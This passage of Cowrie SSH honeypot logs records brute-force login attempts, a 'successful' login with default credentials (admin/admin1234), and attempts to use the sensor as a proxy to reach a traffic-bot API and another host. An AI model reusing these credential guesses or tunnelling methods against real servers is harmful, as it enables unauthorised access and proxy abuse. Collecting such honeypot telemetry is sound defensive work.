{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:53.369246Z","src_ip":"123.27.168.40","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:53.435346Z","src_ip":"45.153.34.195","session":"f30a2af6cb27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:53.616194Z","src_ip":"123.27.168.40","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63166,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bcc329a2825","protocol":"ssh","message":"New connection: 45.153.34.195:63166 (10.17.0.5:22) [session: 1bcc329a2825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:54.652700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:54.657355Z","src_ip":"45.153.34.195","session":"1bcc329a2825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:54.744620Z","src_ip":"45.153.34.195","session":"1bcc329a2825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"root","message":"login attempt [bob/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:54.991821Z","src_ip":"45.153.34.195","session":"1bcc329a2825","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:55.065858Z","src_ip":"123.27.168.40","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:55.471531Z","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:55.615610Z","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:56.018363Z","src_ip":"123.27.168.40","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NGU3WHhVOEpkUSUoZ0NMJQ%3D%3DJMJgKBkxEvc7b47ozFhuby7F6pwF9iW9xiiGpax0uoggvvW0V9lOO1uObrY1xTILSuvdGs6X%2FuO%2BWpgQoVVXSjvmF5mTkHZw8uoq%2FTcPdeg48NV6IVApfeZuUPsr7kyUPI16NdSkYTmgzZuPjtGrmthVNsRQKYsTRpkBsndhg0p78711hLWCqzEEjqXtY62dnK2w7P6yC93kSUEJhZWOaz0cCT9g9AHB4mysKLkwXyohAAjfKfIgSGUDXRRxjRRkiddfRr9qQU5eCeg90gmFPtjxPZdc5ynVwr1nkqZ7kxAnVDkYejg%2BrSq84rfrSQm%2BMiqg64qJPYodZjZKSQaiacUvQoNEQLfDTnxdXDdf63n3FNH97A5%2F6p6ILC%2BwrMFVEHdvaBrRzaClVJD4NxqmjcIohFHg0XdLvjT3SUN3XXcHiuQ7R6GrvoMVIUFbHtLe0lRbpXB5qmBT39xrdNXN4vL%2FJeuVx9Te7E3uP5Pr6ZuLls88YPXL0xiEfeQRMciVCYW9krRhOHOJAugWeC5iryWUZ5mzXwCDobjy1LegcJ7OwMiZQD53b6hIrvmTT8BZzGXiZHm7iz2%2BC3xnt5XvCtgndXBpAzqvwvafg4NbPjYg2x0fpEqZsSAce5eFKxeUGW4ZXGvpP3l%2BqtZUNCgbrP6fDyH2RKltqaAeFkk3Y9YMBPB6GfwZo0va8nwrziToSrpS3HHSAt19NYzUAaGYZ0X5xyLg5enKOZPjmTuWIirSs04ldvjKGSSejD%2Br8qORV%2FlrX2ki%2BXKgIkpXEuHAtOj0ne1s0BDoHK0WMw0ZJfJL%2BYAZta6CIrM0DNWc2uxmuXMBIHH97uv%2Fif5w4CuvWWcDfhL7amddM4lLzJIF2Wd6Q6yYeoROi%2BpgGTZjAu3T1hzp4Rx1Pvxpxfg6UX2PeJ6MjowFnmbhylaUaEap1tYIZ0hW3o9xDpROPJvHfHzaU1vwE76WZbEbJjYOTytw4eASITFT3KhjeEgiAZ%2F4UdGJSE0buAyInlHg%2FOfPappfiuI3mmQ0GqaPuQAvHPfxqQd9FY2WjWbq9VEBjkQdj7h1K1%2FpD6PDAPkuu3ADIQhZ'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NGU3WHhVOEpkUSUoZ0NMJQ%3D%3DJMJgKBkxEvc7b47ozFhuby7F6pwF9iW9xiiGpax0uoggvvW0V9lOO1uObrY1xTILSuvdGs6X%2FuO%2BWpgQoVVXSjvmF5mTkHZw8uoq%2FTcPdeg48NV6IVApfeZuUPsr7kyUPI16NdSkYTmgzZuPjtGrmthVNsRQKYsTRpkBsndhg0p78711hLWCqzEEjqXtY62dnK2w7P6yC93kSUEJhZWOaz0cCT9g9AHB4mysKLkwXyohAAjfKfIgSGUDXRRxjRRkiddfRr9qQU5eCeg90gmFPtjxPZdc5ynVwr1nkqZ7kxAnVDkYejg%2BrSq84rfrSQm%2BMiqg64qJPYodZjZKSQaiacUvQoNEQLfDTnxdXDdf63n3FNH97A5%2F6p6ILC%2BwrMFVEHdvaBrRzaClVJD4NxqmjcIohFHg0XdLvjT3SUN3XXcHiuQ7R6GrvoMVIUFbHtLe0lRbpXB5qmBT39xrdNXN4vL%2FJeuVx9Te7E3uP5Pr6ZuLls88YPXL0xiEfeQRMciVCYW9krRhOHOJAugWeC5iryWUZ5mzXwCDobjy1LegcJ7OwMiZQD53b6hIrvmTT8BZzGXiZHm7iz2%2BC3xnt5XvCtgndXBpAzqvwvafg4NbPjYg2x0fpEqZsSAce5eFKxeUGW4ZXGvpP3l%2BqtZUNCgbrP6fDyH2RKltqaAeFkk3Y9YMBPB6GfwZo0va8nwrziToSrpS3HHSAt19NYzUAaGYZ0X5xyLg5enKOZPjmTuWIirSs04ldvjKGSSejD%2Br8qORV%2FlrX2ki%2BXKgIkpXEuHAtOj0ne1s0BDoHK0WMw0ZJfJL%2BYAZta6CIrM0DNWc2uxmuXMBIHH97uv%2Fif5w4CuvWWcDfhL7amddM4lLzJIF2Wd6Q6yYeoROi%2BpgGTZjAu3T1hzp4Rx1Pvxpxfg6UX2PeJ6MjowFnmbhylaUaEap1tYIZ0hW3o9xDpROPJvHfHzaU1vwE76WZbEbJjYOTytw4eASITFT3KhjeEgiAZ%2F4UdGJSE0buAyInlHg%2FOfPappfiuI3mmQ0GqaPuQAvHPfxqQd9FY2WjWbq9VEBjkQdj7h1K1%2FpD6PDAPkuu3ADIQhZ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:56.021228Z","src_ip":"123.27.168.40","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:56.026071Z","src_ip":"123.27.168.40","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d=\\xa5 ;\\x1e;\\x18\\xf8C\\xea\\x9d\\xe7\\x0c\\xda!\\xec\\xd1\\xe0h\\xa1\\xa0\\xb2[\\xc81S!r\\xfdL* \\xfa\\xb9\\x83\\xa3\\x16\\xe1\\xb7\\xb6 \\xa7b\\xda\\r\\xa2\\xe7\\xe9K\\xf4\\xe8\\x8c\\xdef\\xaa\\xe0\\xfa\\x1a\\xf4\\x02G.\\xdb\\xdf\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1f\\x89\\xd8\"\\xa7|\\x1f\\x8d\\xd4\\x02Y\\xd0\\xc0\\xf1\\x88e\\x8f\\xa0q\\xdc\\x1aU)\\x88\\xdf\\xb2\\xeb<\\xa0\\xd2\\xf6x\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d=\\xa5 ;\\x1e;\\x18\\xf8C\\xea\\x9d\\xe7\\x0c\\xda!\\xec\\xd1\\xe0h\\xa1\\xa0\\xb2[\\xc81S!r\\xfdL* \\xfa\\xb9\\x83\\xa3\\x16\\xe1\\xb7\\xb6 \\xa7b\\xda\\r\\xa2\\xe7\\xe9K\\xf4\\xe8\\x8c\\xdef\\xaa\\xe0\\xfa\\x1a\\xf4\\x02G.\\xdb\\xdf\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1f\\x89\\xd8\"\\xa7|\\x1f\\x8d\\xd4\\x02Y\\xd0\\xc0\\xf1\\x88e\\x8f\\xa0q\\xdc\\x1aU)\\x88\\xdf\\xb2\\xeb<\\xa0\\xd2\\xf6x\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:56.028440Z","src_ip":"123.27.168.40","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:56.073958Z","src_ip":"45.153.34.195","session":"1bcc329a2825","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:56.277041Z","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:56.529300Z","src_ip":"123.27.168.40","session":"a05567351382","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x16\\\\`\\xf6\\nwD\\xef\\x8a\\xb6\\xdf\\xc9:X\\xf7#r\\x0c\\x8c4\\xbf\\x06\\xaef\\x85#1}C\\x0ek\\xc9 \\x1d\\xa6\\xea\\xb4\\xbc\\xc3.J\\x02yz\\xa4\\x1aY\\x0b*\\xadpK\\x87\\xdd;\\x18\\xa4\\x87\\xe0 \\xa2\\xea\\x9e\\xa1\\xd0\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5a\\x1b)\\xdc{\\x1cqJ\\xf1\\x88\\xa4\\xa3EJ.\\x12\\xbcd\\x18\\r\\xd3\\xf4\\xa4\\xabz\\xca\\xaaI\\xf3\\xbc&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x16\\\\`\\xf6\\nwD\\xef\\x8a\\xb6\\xdf\\xc9:X\\xf7#r\\x0c\\x8c4\\xbf\\x06\\xaef\\x85#1}C\\x0ek\\xc9 \\x1d\\xa6\\xea\\xb4\\xbc\\xc3.J\\x02yz\\xa4\\x1aY\\x0b*\\xadpK\\x87\\xdd;\\x18\\xa4\\x87\\xe0 \\xa2\\xea\\x9e\\xa1\\xd0\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 